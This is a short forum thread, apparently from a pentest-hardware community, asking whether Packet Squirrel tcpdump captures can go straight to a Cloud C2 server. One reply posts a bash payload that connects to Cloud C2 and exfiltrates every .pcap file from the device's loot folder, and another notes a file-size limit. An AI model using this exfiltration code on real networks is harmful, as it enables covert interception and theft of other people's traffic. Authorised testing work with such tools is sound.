TCP dump to C2 cloud server

[OTimme]

Is it possible to send the TCP dump loot directly to the C2 cloud server?

[chrizree]

Do you mean to not store it in any way locally on the Packet Squirrel, but instead save it to Cloud C2 only?

[beginner123]

On 11/10/2020 at 10:34 AM, chrizree said:

Do you mean to not store it in any way locally on the Packet Squirrel, but instead save it to Cloud C2 only?

Is this possible?

[dark_pyrro]

Streaming tcpdump output directly to Cloud C2 isn't something that is built-in as far as I can remember off the top of my head. It's possible to remotely stream tcpdump output to remote Wireshark sessions though, but that's another use case scenario.

[aclx]

try to add this to your payload

C2PROVISION="/etc/device.config"
LOOT_DIR=/mnt/loot/tcpdump

# Exfiltrate Loot to Cloud C2
if [[ -f "$C2PROVISION" ]]; then
LED SPECIAL
# Connect to Cloud C2
C2CONNECT
# Wait until Cloud C2 connection is established
while ! pgrep cc-client; do sleep 1; done
# Exfiltrate all test loot files
FILES="$LOOT_DIR/*.pcap"
for f in $FILES; do C2EXFIL STRING $f tcpdump-C2-Payload; done
else
# Exit script if not provisioned for C2
LED R SOLID
exit 1
fi

 

[dark_pyrro]

There's a limitation in C2EXFil that stops transfers of larger files. Might be good to know since tcpdump files can grow pretty quickly.